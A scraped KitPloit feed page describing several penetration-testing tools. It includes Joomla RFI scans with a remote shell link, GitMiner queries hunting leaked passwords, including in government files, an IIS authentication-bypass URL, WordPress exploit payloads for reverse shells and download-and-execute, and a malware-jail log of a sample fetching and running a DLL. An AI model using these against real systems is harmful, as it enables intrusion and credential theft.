Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5816 articles
Browse latest View live

Audit CouchDB - The Simple, Clear, CouchDB Security Assessment

$
0
0
Audit CouchDB is a simple tool with a powerful message. Given an Apache CouchDB URL, it will tell you everything you ever wanted to know about its security.

Objective
Audit CouchDB will perform the following actions:
  1. Learn every possible fact about the couch, for example:
    • What is the server configuration?
    • What user accounts exist?
    • What user roles exist?
    • What databases exist?
    • In each database, what is the security setting?
    • In each design document, what are the validation functions?
  2. Given the facts, compare them against each other and warn if they imply a security concern, for example:
    • You obviously didn't bother to click the "Security" link in the database page in Futon
    • Published CVE alerts apply to your version of CouchDB
    • A design document is missing a validate_doc_update function
    • Helpful summaries of how many admins, normal users, and anonymous users can access each database

Usage
Currently, Audit CouchDB is a Node application distributed via NPM. Install it (globally) via npm .
npm install -g audit_couchdb
Next, run the tool with your CouchDB URL as a parameter. You should connect as an admin user, so Audit CouchDB can fetch all possible information (such as the configuration).
audit_couchdb https://admin:secret@localhost:5984
The tool will output everything it knows about your couch's security.
To see how audit_couchdb is working, set its log level to debug. It will show you each query it makes as it learns facts about your couch.
audit_couchdb --level=debug https://admin:secret@localhost:5984

Running from the Browser
Audit CouchDB is implemented as a library, depending on a back-end request library, and a front-end to display the output (simple console text output, or log4j if it is installed).
I recently re-implemented request in the browser as jQuery Request . Thus I am excited to see Audit CouchDB run on the browser, however I have not begun this work.



ATSCAN v6.2 - Search / Site / Server Scanner

$
0
0



Description:

  • SEARCH engine
  • XSS scanner.
  • Sqlmap.
  • LFI scanner.
  • Filter wordpress and Joomla sites in the server.
  • Find Admin page.
  • Decode / Encode MD5 + Base64.
  • Ports scan.
  • Scan E-mails in sites.
  • Use proxy.
  • Random user agent.
  • Fandom search engine.
  • Scan errors.
  • Detect Cms.
  • Multiple instant scan.
  • Disponible on BlackArch Linux Platform.

Libreries to install:
ap-get install libxml-simple-perl
aptitude install libio-socket-ssl-perl
aptitude install libcrypt-ssleay-perl
NOTE: Works in linux platforms. Best Run on Ubuntu 14.04, Kali Linux 2.0, Arch Linux, Fedora Linux, Centos | if you use a windows you can download manualy.

Download & Executution:
git clone https://github.com/AlisamTechnology/ATSCAN
cd ATSCAN
chmod +x ATSCAN
OR
$chmod +x atscan.pl
Execute: perl ./atscan.pl
Help: perl ./atscan.pl --help
Update: perl ./atscan.pl --update

Screenshots:








Help:
--proxy
Set tor proxy [Ex: socks://localhost:9050]
--dork
dork to search [Ex: house,cars,hotel]
--level
Scan level (+- Number of page results to scan)
--xss
Xss scan
--joomrfi
joomla local file inclusion scan
-t
Target
--TARGET
Captured Target
--FULL_TARGET
Captured Full Target
--exp
Set exploit
--valid
Text to validate results
--sqlmap
Sqlmaping xss results
--lfi
local file inclusion
--joomrfi
get joomla sites with rfi
--shell
shell link [Ex: http://www.site.com/shell.txt ]
--wpadf
get wordpress sites with arbitery file download
--admin
get site admin page
--shost
get site subdomains
--ports
scan server ports
--start
start scan port
--end
end scan port
--all
complete mode
--basic
basic mode
--select
Select mode you can set rang of ports
--sites
sites in the server
--wp
get wordpress sites
--joom
Getjoomla sites
--upload
get sites with upload files
--zip
get sites with zip files
--save
file prefix to save results (if not set tool sets one)
--md5
convert to md5
--encode64
encode base64 string
--decode64
decode base64 string
--isup
check http status 200
--email
Extract e-mails
--command
External Command
--replace
string to replace
--with
string to replace with
--save
Set prefix to saved files
--rang
Set range of ip
--nobanner
Hide tool banner
--beep
Produce beep sount if positive scan found

Examples:
Simple search:
Search: --dork [dork] --level [level]
Search with many dorks: --dork [dork1,dork2,dork3] --level [level]
Search + set save file: --dork [dorks.txt] --level [level] --save myfile.txt
Search + Replace + Exploit: --dork [dorks.txt] --level [level] --replace [string] --with [string] --valid [string]
Search + Extract e-mails: --dork [dorks.txt] --level [level] --email

Subscan from Serach Engine:
Search + Exploitation: --dork [dork] --level [10] --xss/--lfi/--wp ...
Search + xss + sqlmap: --dork [dork] --level [10] --xss --sqlmap
Search + Server Exploitation: -t [ip] --level [10] --xss/--lfi/--wp ...
Search + Server Exploitation: --rang 133.21.10.155-19.102.25.14 --level [10] --xss/--lfi/--wp ...
Search + Replace + Exploit: --dork [dork] --level [10] --replace [string] --with [string] --exp [exploit] --xss/--lfi/--wp ...

Validation:
Search + Exploit + Validation: --dork [dork] --level [10] --exp --isup/--valid [string]
Search + Server Exploit + Validation: -t [ip] --level [10] --exp --isup/--valid [string]
Search + Replace + Exploit: --dork [dork] --level [10] --replace [string] --with [string] --isup/--valid [string]

Use List / Target:
-t [target/targets.txt] --exp --isup/--valid [string]
-t [target/targets.txt] --xss/--lfi ..

Server:
Get Server sites: -t [ip] --level [value] --sites
Get Server wordpress sites: -t [ip] --level [value] --wp
Get Server joomla sites: -t [ip] --level [value] --joom
Get Server upload sites: -t [ip] --level [value] --upload
Get Server zip sites files: -t [ip] --level [value] --zip
WP Arbitry File Download: -t [ip] --level [value] --wpadf
Joomla RFI: -t [ip] --level [1] --joomfri --shell [shell link]
Scan basic tcp (quick): -t [ip] --ports --basic tcp
Scan basic udp basic (quick): -t [ip] --ports --basic udp
Scan basic udp+tcp: -t [ip] --ports --basic udp+tcp
Scan complete tcp: -t [ip] --ports --all tcp
Scan complete udp: -t [ip] --ports --all udp
Scan complete udp+tcp: -t [ip] --ports --all udp+tcp
Scan rang tcp: -t [ip] --ports --select tcp --start [value] --end [value]
Scan rang udp: -t [ip] --ports --select udp--start [value] --end [value]
Scan rang udp + tcp: -t [ip] --ports --select udp+tcp --start [value] --end [value]

Encode / Decode:
Generate MD5: --md5 [string]
Encode base64: --encode64 [string]
Decode base64: --decode64 [string]

External Command:
--dork [dork/dorks.txt] --level [level] --command "curl -v --TARGET"
--dork [dork/dorks.txt] --level [level] --command "curl -v --FULL_TARGET"
-t [target/targets.txt] --level [level] --command "curl -v --TARGET"
-t [target/targets.txt] --command "curl -v --FULL_TARGET"

Multiple Scan:
--dork [dork] --level [10] --xss/--lfi/--wp ...
--dork [dork] --level [10] --replace [string] --with [string] --exp [exploit] --xss --lfi --wp ...
-t [ip] --level [10] --xss --lfi --wp ...
-t [targets] --xss --lfi --wp ...


Appie v3 - Android Pentesting Portable Integrated Environment

$
0
0

Appie is a software package that has been pre-configured to function as an Android Pentesting Environment on any windows based machine without the need of a Virtual Machine(VM) or dualboot.

It is completely portable and can be carried on USB stick or your smartphone. It is one of its kind Android Security Analysis Tool and is a one stop answer for all the tools needed in Android Application Security Assessment, Android Forensics, Android Malware Analysis.

Difference between Appie and existing environments ?

  • Tools contained in Appie are running on host machine instead of running on virtual machine.
  • Less Space Needed(Only around 1.5GB required compared to atleast 10 GB of Virual Machine)
  • As the name suggests it is completely Portable i.e it can be carried on USB Stick or on your own smartphone and your pentesting environment will go wherever you go without any configuring changes.
  • Awesome Interface

Below are some of changes which have been made from previous version:
  • It now have Python 2.7.11(32 bit) so that even 32 bit systems have no problem with usage.
  • Also updated the Conemu framework which i use as a base terminal.
  • Although all the tools are now updated in Appie, but in this version i have introduced a simple update script through which you can update all the tools inside Appie without downloading new version of Appie. So at the end this saves your lot of time.
  • It is lot more faster now, if you are an existing user of Appie than you will notice that.
  • Some new tools have been included in this version:-

Demo Video

Below is short demonstration video of Appie.

More:https://manifestsecurity.com/appie-version-3-released/

IIS Short Name Scanner - Scanner For IIS Short File Name Disclosure Vulnerability (using the tilde [~] character)

$
0
0

Scanner for IIS short file name (8.3) disclosure vulnerability by using the tilde (~) character.

Description
Microsoft IIS contains a flaw that may lead to an unauthorized information disclosure. The issue is triggered during the parsing of a request that contains a tilde character (~). This may allow a remote attacker to gain access to file and folder name information.
This scanner was moved from https://code.google.com/p/iis-shortname-scanner-poc/ to GitHub for better support.
It is possible to detect short names of files and directories which have an 8.3 equivalent in Windows by using some vectors in several versions of Microsoft IIS. For instance, it is possible to detect all short-names of “.aspx” files as they have 4 letters in their extensions.
Note: new techniques have been introduced to the latest versions of this scanner and it can now scan IIS8.5 when it is vulnerable.
It is not easy to find the original file or folder names based on the short names. However, the following methods are recommended as examples:
  • If you can guess the full extension (for instance .ASPX when the 8.3 extension is .ASP), always try the short name with the full extension.
  • Sometimes short names are listed in Google which can be used to find the actual names
  • Using text dictionary files is also recommended. If a name starts with another word, the second part should be guessed based on a dictionary file separately. For instance, ADDACC~1.ASP can be AddAccount.aspx, AddAccounts.aspx, AddAccurateMargine.aspx, etc
  • Searching in the website contents and resources can also be useful to find the full name. This can be achieved for example by searching Site Map in the Burp Suite tool.

Installation
It has been compiled by using JDK 7. You only need to download the following files if you do not want to build this yourself:
  • iis_shortname_scanner.jar
  • config.xml
  • run.bat
  • multi_targets.sh
Remember to use Java v7.
You can also compile this application yourself. Please submit any issues in GitHub for further investigation. It should be straight forward to open this project in Eclipse as well.

Usage

Command line options
USAGE 1 (To verify if the target is vulnerable with the default config file): java -jar iis_shortname_scanner.jar [URL]
USAGE 2 (To find 8.3 file names with the default config file): java -jar iis_shortname_scanner.jar [ShowProgress] [ThreadNumbers] [URL]
USAGE 3 (To verify if the target is vulnerable with a new config file): java -jar iis_shortname_scanner.jar [URL] [configFile]
USAGE 4 (To find 8.3 file names with a new config file): java -jar iis_shortname_scanner.jar [ShowProgress] [ThreadNumbers] [URL] [configFile]
USAGE 5 (To scan multiple targets using a linux box): ./multi_targets.sh
DETAILS: [ShowProgress]: 0= Show final results only - 1= Show final results step by step - 2= Show Progress [ThreadNumbers]: 0= No thread - Integer Number = Number of concurrent threads [be careful about IIS Denial of Service] [URL]: A complete URL - starts with http/https protocol [configFile]: path to a new config file which is based on config.xml
Examples:
- Example 0 (to see if the target is vulnerable):
java -jar iis_shortname_scanner.jar http://example.com/folder/

- Example 1 (uses no thread - very slow):
java -jar iis_shortname_scanner.jar 2 0 http://example.com/folder/new%20folder/

- Example 2 (uses 20 threads - recommended):
java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/new%20folder/

- Example 3 (saves output in a text file):
java -jar iis_shortname_scanner.jar 0 20 http://example.com/folder/new%20folder/ > c:\results.txt

- Example 4 (bypasses IIS basic authentication):
java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/AuthNeeded:$I30:$Index_Allocation/

- Example 5 (using a new config file):
java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/ newconfig.xml

- Example 6 (scanning multiple targets using a linux box):
./multi_targets.sh scope.txt 1
Note 1: Edit config.xml file to change the scanner settings and add additional headers. Note 2: Sometimes it does not work for the first time and you need to try again.

How Does It Work?
In the following examples, IIS responds with a different message when a file exists:
http://target/folder/valid*~1.*/.aspx
http://target/folder/invalid*~1.*/.aspx
However, different IIS servers may respond differently, and for instance some of them may work with the following or other similar patterns:
http://target/folder/valid*~1.*\.asp
http://target/folder/invalid*~1.*\.asp
Method of sending the request such as GET, POST, OPTIONS, DEBUG, ... is also important.
I believe monitoring the requests by using a proxy is the best way of understating this issue and this scanner.

How To Fix This Issue
Microsoft will not patch this security issue. Their last response is as follows:
Thank you for contacting the Microsoft Security Response Center.  

We appreciate your bringing this to our attention. Our previous guidance stands: deploy IIS with 8.3 names disabled.
Therefore, it is recommended to deploy IIS with 8.3 names disabled by creating the following registry key on a Windows operating system:
    Key:   HKLM\SYSTEM\CurrentControlSet\Control\FileSystem
Name: NtfsDisable8dot3NameCreation
Value: 1
Note: The web folder needs to be recreated, as the change to the NtfsDisable8dot3NameCreation registry entry affects only files and directories that are created after the change, so the files that already exist are not affected.

References
One of the new methods: https://soroush.secproject.com/blog/2014/08/iis-short-file-name-disclosure-is-back-is-your-server-vulnerable/
Original research file: http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Website Reference: http://soroush.secproject.com/blog/2012/06/microsoft-iis-tilde-character-vulnerabilityfeature-short-filefolder-name-disclosure/
Video Link: http://www.youtube.com/watch?v=XOd90yCXOP4
http://www.osvdb.org/83771
http://www.exploit-db.com/exploits/19525/
http://securitytracker.com/id?1027223


Faraday 1.0.17 - Collaborative Penetration Test and Vulnerability Management Platform

$
0
0


Faraday introduces a new concept - IPE (Integrated Penetration-Test Environment) a multiuser Penetration test IDE. Designed for distribution, indexation and analysis of the generated data during the process of a security audit.

The first of many releases in 2016, Faraday v.1.0.17 (Community, Pro & Corp) introduces a new Maltego Plugin, support for Mint 17 and Kali Rolling, and several fixes including installation issues.

Changes:
  • New Maltego Plugin
  • Added support for Kali Rolling Edition
  • Added support for Mint 17
  • Added user notification when the current Workspace doesn't exist
  • Added removeBySeverity.py script - as its name describes, it removes all vulns with a specific severity value. It supports the following parameters:
    • -v extended output
    • -t dry-run, won't connect to DB
    • -s severity to filter by, required
    • -d workspace, required
python $FARADAY/helpers/removeBySeverity.py -d WORKSPACE_NAME -s SEVERITY -v 

Bug fixes:
  • Fixed bug in pip Debian
  • Fixed pip install bug
  • Checks additionals about dependencies in installation
  • Warning about a upgrade to experimental in debian installation
  • Fixed small bug in CSV importing
  • Fixed styles for Status Report
  • Fixed bug on Status Report filter after editing
  • Show all evidence files in Status Report
  • Fixed Arachni Plugin bugs


We hope you enjoy it, and let us know if you have any questions or comments.


SFTPfuzzer - Simple FTP Fuzzer

$
0
0

SFTPfuzzer (Simple FTP Fuzzer) is a very simple software written in Python 2.7 (by 0x8b30cc), that allows you to easily fuzz username and password field in an FTP Server, looking for a buffer overflow vulnerability.

SFTPfuzzer is written in a very simple way, and the code is well commented, allowing you to easily understand what is going on and easily edit the software. The code is licensed under GNU General Public License (GPL v3), if you want to know more read here.

Usage:
You can use SFTPfuzzer.py in two ways, manual mode and arguments mode.

If you want to manually add target ip address (RHOST) and target port (RPORT), you just need to run:
$ python SFTPfuzzer.py
If you want to add command line arguments, then the usage will be like this:
$ python SFTPfuzzer.py -t <rhost> -p <rport>
For example:
$ python SFTPfuzzer.py -t 192.168.1.8 -p 21


Gitminer - Automatic Search For GitHub

$
0
0
Advanced search tool and automation in Github. This tool aims to facilitate research by code or code snippets on github through the site's search page.

MOTIVATION
Demonstrates the fragility of trust in public repositories to store codes with sensitive information.

REQUERIMENTS
argparse
requests
json
lxml

INSTALL
git clone http://github.com/danilovazb/GitMiner

sudo apt-get install python-requests python-lxml
OR
pip install lxml requests

HELP
usage: 
██████╗ ██╗████████╗███╗ ███╗██╗███╗ ██╗███████╗██████╗
██╔════╝ ██║╚══██╔══╝████╗ ████║██║████╗ ██║██╔════╝██╔══██╗
██║ ███╗██║ ██║ ██╔████╔██║██║██╔██╗ ██║█████╗ ██████╔╝
██║ ██║██║ ██║ ██║╚██╔╝██║██║██║╚██╗██║██╔══╝ ██╔══██╗
╚██████╔╝██║ ██║ ██║ ╚═╝ ██║██║██║ ╚████║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝ v1.1
Automatic search for GitHub.

+ Autor: Danilo Vaz a.k.a. UNK
+ Blog: http://unk-br.blogspot.com
+ Github: http://github.com/danilovazb
+ Gr33tz: l33t0s, RTFM

+[WARNING]------------------------------------------+
| THIS TOOL IS THE PENALTY FOR EDUCATIONAL USE, |
| THE AUTHOR IS NOT RESPONSIBLE FOR ANY DAMAGE TO |
| THE TOOL THAT USE. |
+---------------------------------------------------+


[-h] [-q 'filename:shadown path:etc']
[-m wordpress] [-o result.txt]

optional arguments:
-h, --help show this help message and exit
-q 'filename:shadown path:etc', --query 'filename:shadown path:etc'
Specify search term
-m wordpress, --module wordpress
Specify the search module
-o result.txt, --output result.txt
Specify the output file where it will be
saved

EXAMPLE
Searching for wordpress configuration files with passwords:
$:> python git_miner.py -q 'filename:wp-config extension:php FTP_HOST in:file ' -m wordpress -o result.txt


Looking for brasilian government files containing passwords:
$:> python git_miner.py --query 'extension:php "root" in:file AND "gov.br" in:file' -m senhas
Looking for shadow files on the etc paste:
$:> python git_miner.py --query 'filename:shadow path:etc' -m root
Searching for joomla configuration files with passwords:
$:> python git_miner.py --query 'filename:configuration extension:php "public password" in:file' -m joomla



Whatportis - A Command To Search Port Names And numbers

$
0
0

It often happens that we need to find the default port number for a specific service, or what service is normally listening on a given port.


Usage
This tool allows you to find what port is associated with a service:
$ whatportis redis
+-------+------+----------+---------------------------------------+
| Name | Port | Protocol | Description |
+-------+------+----------+---------------------------------------+
| redis | 6379 | tcp | An advanced key-value cache and store |
+-------+------+----------+---------------------------------------+
Or, conversely, what service is associated with a port number:
$ whatportis 5432
+------------+------+----------+---------------------+
| Name | Port | Protocol | Description |
+------------+------+----------+---------------------+
| postgresql | 5432 | tcp | PostgreSQL Database |
| postgresql | 5432 | udp | PostgreSQL Database |
+------------+------+----------+---------------------+
You can also search a pattern without knowing the exact name by adding the --like option:
$ whatportis mysql --like
+----------------+-------+----------+-----------------------------------+
| Name | Port | Protocol | Description |
+----------------+-------+----------+-----------------------------------+
| mysql-cluster | 1186 | tcp | MySQL Cluster Manager |
| mysql-cluster | 1186 | udp | MySQL Cluster Manager |
| mysql-cm-agent | 1862 | tcp | MySQL Cluster Manager Agent |
| mysql-cm-agent | 1862 | udp | MySQL Cluster Manager Agent |
| mysql-im | 2273 | tcp | MySQL Instance Manager |
| mysql-im | 2273 | udp | MySQL Instance Manager |
| mysql | 3306 | tcp | MySQL |
| mysql | 3306 | udp | MySQL |
| mysql-proxy | 6446 | tcp | MySQL Proxy |
| mysql-proxy | 6446 | udp | MySQL Proxy |
| mysqlx | 33060 | tcp | MySQL Database Extended Interface |
+----------------+-------+----------+-----------------------------------+


Installation
$ pip install whatportis


JSON output
You can display the results as JSON, using the --json option :
$ whatportis 5432 --json
[
{
"description": "PostgreSQL Database",
"protocol": "tcp",
"name": "postgresql",
"port": "5432"
},
{
"description": "PostgreSQL Database",
"protocol": "udp",
"name": "postgresql",
"port": "5432"
}
]


REST API
Whatportis can also be started as a RESTful API server:
$ whatportis --server localhost 8080
* Running on http://localhost:8080/ (Press CTRL+C to quit)

$ curl http://localhost:8080/ports
"ports": [
{
"description": "Description",
"name": "Service Name",
"port": "Port Number",
"protocol": "Transport Protocol"
},
...
]


$ curl http://localhost:8080/ports/3306
{
"ports": [
[
"mysql",
"3306",
"tcp",
"MySQL"
],
[
"mysql",
"3306",
"udp",
"MySQL"
]
]
}

$ curl http://localhost:8080/ports/mysql?like
{
"ports": [
[
"mysql-cluster",
"1186",
"tcp",
"MySQL Cluster Manager"
],
[
"mysql-cluster",
"1186",
"udp",
"MySQL Cluster Manager"
],
...
}


Notes
  • "Why not use grep <port> /etc/services " ? Simply because I want a portable command that display the output in a nice format (a pretty table).
  • The tool uses the Iana.org website to get the official list of ports. A private script has been created to fetch regularly the website and update the ports.json file. For this reason, an update command will be created in a future version.


Wordpress-Exploit-Framework - A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems

$
0
0

A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems.

What do I need to run it?
Ensure that you have Ruby 2.2.x installed on your system and then install all required dependencies by opening a command prompt / terminal in the WPXF folder and running bundle install .
If bundler is not present on your system, you can install it by running gem install bundler .

How do I use it?
Open a command prompt / terminal in the directory that you have downloaded WordPress Exploit Framework to, and start it by running ruby wpxf.rb .
Once loaded, you'll be presented with the wpxf prompt, from here you can search for modules using the search command or load a module using the use command.
Loading a module into your environment will allow you to set options with the set command and view information about the module using info .
Below is an example of how one would load the symposium_shell_upload exploit module, set the module and payload options and run the exploit against the target.
wpxf > use exploit/symposium_shell_upload

[+] Loaded module: #<Wpxf::Exploit::SymposiumShellUpload:0x3916f20>

wpxf [exploit/symposium_shell_upload] > set host wp-sandbox

[+] Set host => wp-sandbox

wpxf [exploit/symposium_shell_upload] > set target_uri /wordpress/

[+] Set target_uri => /wordpress/

wpxf [exploit/symposium_shell_upload] > set payload exec

[+] Loaded payload: #<Wpxf::Payloads::Exec:0x434d078>

wpxf [exploit/symposium_shell_upload] > set cmd echo "Hello, world!"

[+] Set cmd => echo "Hello, world!"

wpxf [exploit/symposium_shell_upload] > run

[-] Preparing payload...
[-] Uploading the payload...
[-] Executing the payload...
[+] Result: Hello, world!
[+] Execution finished successfully
For a full list of supported commands, take a look at This Wiki Page .

What is the difference between auxiliary and exploit modules?
Auxiliary modules do not allow you to run payloads on the target machine, but instead allow you to extract information from the target, escalate privileges or provide denial of service functionality.
Exploit modules require you to specify a payload which subsequently gets executed on the target machine, allowing you to run arbitrary code to extract information from the machine, establish a remote shell or anything else that you want to do within the context of the web server.

What payloads are available?
  • bind_php: uploads a script that will bind to a specific port and allow WPXF to establish a remote shell.
  • custom: uploads and executes a custom PHP script.
  • download_exec: downloads and runs a remote executable file.
  • exec: runs a shell command on the remote server and returns the output to the WPXF session.
  • reverse_tcp: uploads a script that will establish a reverse TCP shell.
All these payloads, with the exception of custom , will delete themselves after they have been executed, to avoid leaving them lying around on the target machine after use or in the event that they are being used to establish a shell which fails.

How can I write my own modules and payloads?
Guides on writing modules and payloads can be found on The Wiki and full documentation of the API can be found at http://www.getwpxf.com/doc .


Malware-Jail - Sandbox for semi-automatic Javascript malware analysis and payload extraction

$
0
0
Sandbox for semi-automatic Javascript malware analysis and payload extraction. Written for Node.js
malware-jail is written for Node's 'vm' sandbox . Currently implements WScript (Windows Scripting Host) context env/wscript.js , at least the part frequently used by malware. Internet browser context is partialy implemented env/browser.js .

Runs on any operating system, tested on Linux (Node v4.2.1).

Prerequisites
You'll need Node.js and npm .
malware-jail requires minimist , and xmlhttprequest and entities npm packages, you may install them with:
npm install
or
npm install minimist xmlhttprequest entities

Warning
Be careful when working with a real malware. A malware, which is aware of this sandbox, may try to escape and harm your PC. It's recommended you run it either from an unpriviledged Linux account or from within virtualized Windows machine. Angler files in the malware folder are NOT disarmed.

Usage
bash@linux# node jailme.js -h
11 Jan 00:07:39 - Malware sandbox ver. 0.2
11 Jan 00:07:39 - ------------------------
11 Jan 00:07:39 - Usage: node jailme.js [[-e file1] [-e file2] .. ] [-o ofile] [-s odir] [--down=y] [malware1 [malware2] .. ]
11 Jan 00:07:39 - -e ifile ... js that simulates specific environment
11 Jan 00:07:39 - -o ofile ... name of the file where sandbox shall be dumped at the end
11 Jan 00:07:39 - -s odir ... output directory for generated files (malware payload)
11 Jan 00:07:39 - --down=y ... use http request to download malware components automatically
11 Jan 00:07:39 - malware ... js with the malware code
11 Jan 00:07:39 - If no arguments are specified the default values are taken from config.json
In the examples folder you may find a deactivated malware file. Run the analysis with:
node jailme.js malware/example.js
or just simply:
node jailme.js
Internet browser based malware you may test with
node jailme.js malware/example_browser.js
The malware/example.js is the default malware file configured in config.json.
After analysis the complete sandbox context is dumped to a file 'sandbox_dump_after.json'. There you may find:
  • _eval_calls - array of all eval() calls arguments. Useful if eval() is used for deobfucation.
  • _wscript_saved_files - content of all files that the malware attempted to drop. The actual files are saved to the output/ directory too.
  • _wscript_urls - all URLs that the malware intended to GET or POST.
  • _wscript_objects - WScript or ActiveX objects created.
_'sandbox_dump_after.json' uses JSONPath , implemented by JSON-js/cycle.js , to save duplicated or cyclic references to a same object.

Sample output
bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Malware sandbox ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Malware files: malware/example.js
11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json
11 Jan 00:06:24 - Output directory for generated files: output/
11 Jan 00:06:24 - ==> Preparing Sandbox environment.
11 Jan 00:06:24 - => Executing: env/eval.js
11 Jan 00:06:24 - Preparing sandbox to intercept eval() calls.
11 Jan 00:06:24 - => Executing: env/wscript.js
11 Jan 00:06:24 - Preparing sandbox to emulate WScript environment.
11 Jan 00:06:24 - ==> Executing malware file(s).
11 Jan 00:06:24 - => Executing: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Created: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Created: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Not sending data, if you want to interract with remote server, set --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Calling onreadystatechange() with dummy data
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Created: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Script execution finished, dumping sandbox environment to a file.
11 Jan 00:08:42 - Saving: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Saving: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - The sandbox context has been saved to: sandbox_dump_after.json
In the above example the payload has been extracted into output/_TEMP__49629482.dll and output/_TEMP__38611354.pdf

Example: Analysing Angler EK
Download and extract Angler EK from a pcap file at ANGLER EK SENDS CRYPTOWALL into a malware/angler_full.html .
Strip the non Angler part and save as malware/angler_stripped.html .
Remove <script> tags and convert required <div> tags into:
document._addElementById(id, content);
and save as malware/angler.js .
Run the analysis:
node jailme.js malware/angler.js
Eventually capture the output:
node jailme.js malware/angler.js > angler_log.txt


Climber - Check UNIX/Linux Systems For Privilege Escalation

$
0
0

Automated auditing tool to check UNIX/Linux systems misconfigurations which may allow local privilege escalation.

Dependencies
  • python >= 2.7
  • python-crypto
  • python-mako
  • python-paramiko

Note
Climber needs Exscript, a Python module and a template processor for automating network connections over protocols such as Telnet or SSH.
https://github.com/knipknap/exscript
This module is already included in Climber sources.


Lobotomy - Android Reverse Engineering Framework & Toolkit

$
0
0

Lobotomy is an Android security toolkit that will automate different Android assessments and reverse engineering tasks. The goal of the Lobotomy toolkit is to provide a console environment, which would allow a user to load their target Android APK once, then have all the necessary tools without needing to exit that environment.
Lobotomy leverages and provides wrappers around other popular tools such as:
  • Androguard
  • apktool
  • Dex2Jar
  • Frida

Features

Installation and Setup
Lobotomy was built upon Homebrew's Python, and has been validated against versions:
  • 2.7.9
  • 2.7.10
  • 2.7.11
For Lobotomy to properly implement its dependencies, a Homebrew installation of Python is required for OS X and LinuxBrew for Linux distributions. The PYTHONPATH must then be pointed to the Homebrew's linked installation of Python.
Building the apktool requires Java and has been validated against the following versions:
  • 1.7
  • 1.8
Lobotomy assumes that you have already downloaded the Android SDK and added the following tools to your path:
  • adb
If you're running OS X you will need Xcode and its required CLI tools , so be sure to run - xcode-select --install after Xcode has been installed.

PySide (OS X)
First you need to install qt and cmake through Homebrew:
  • brew install qt
  • brew install cmake
Next you need to download and install PySide :
  • git clone https://github.com/PySide/pyside-setup.git
  • cd pyside-setup
  • python setup.py bdistwheel
Add the following to your shell environment:
  • export DYLD_LIBRARY_PATH="/usr/local/lib/python2.7/site-packages/PySide"

Run Setup:
./setup.sh
In order to use the Frida instrumentation module please make sure you have pushed the frida-server binary over to your target device and executed it.
$ adb push frida-server /data/local/tmp/
root@android:/ # /data/local/tmp/frida-server
Make sure you change the IP in framework/config to your local network IP. This is used for the interactions with the deployed web services.
If the apktool build fails with this error: https://github.com/iBotPeaches/Apktool/issues/918 - Follow the recommendations observed for the issue and trying running setup.sh again.

Usage

Help
(lobotomy) help

Documented commands (type help <topic>):
----------------------------------------
_load components edit li pause run show
_relative_load d2j frida list permissions save
attacksurface debuggable hi load profiler set
bowser decompile history loader py shell
cmdenvironment ed l logcat r shortcuts

Undocumented commands:
----------------------
EOF eof exit help q quit

Start Web Server
[~/Tools/mobile/android/lobotomy]> python web/run.py runserver -h 0.0.0.0
UI endpoints are located at: /ui/home

Loading an APK
[~/Tools/mobile/android/lobotomy]> python lobotomy.py


: : :
t#, t#, t#,
i ;##W. . ;##W. ;##W.
LE :#L:WE Ef. :#L:WE GEEEEEEEL :#L:WE .. : f. ;WE.
L#E .KG ,#D E#Wi .KG ,#D ,;;L#K;;. .KG ,#D ,W, .Et E#, i#G
G#W. EE ;#f E#K#D: EE ;#f t#E EE ;#f t##, ,W#t E#t f#f
D#K. f#. t#iE#t,E#f. f#. t#i t#E f#. t#i L###, j###t E#t G#i
E#K. :#G GK E#WEE##Wt:#G GK t#E :#G GK .E#j##, G#fE#t E#jEW,
.E#E. ;#L LW. E##Ei;;;;.;#L LW. t#E ;#L LW. ;WW; ##,:K#i E#t E##E.
.K#E t#f f#: E#DWWt t#f f#: t#E t#f f#: j#E. ##f#W, E#t E#G
.K#D f#D#; E#t f#K; f#D#; t#E f#D#; .D#L ###K: E#t E#t
.W#G G#t E#Dfff##E, G#t t#E G#t :K#t ##D. E#t E#t
:W##########Wt t jLLLLLLLLL; t fE t ... #G .. EE.
:,,,,,,,,,,,,,. : j t


(lobotomy) loader /Users/benjaminwatson/Android-Web-Browsers/opera-mini/apk/com.opera.mini.native.apk
[2015-08-03 19:16:44.866870] Loading : /Users/benjaminwatson/Android-Web-Browsers/opera-mini/apk/com.opera.mini.native.apk
(lobotomy)

List Permissions
(lobotomy) permissions list
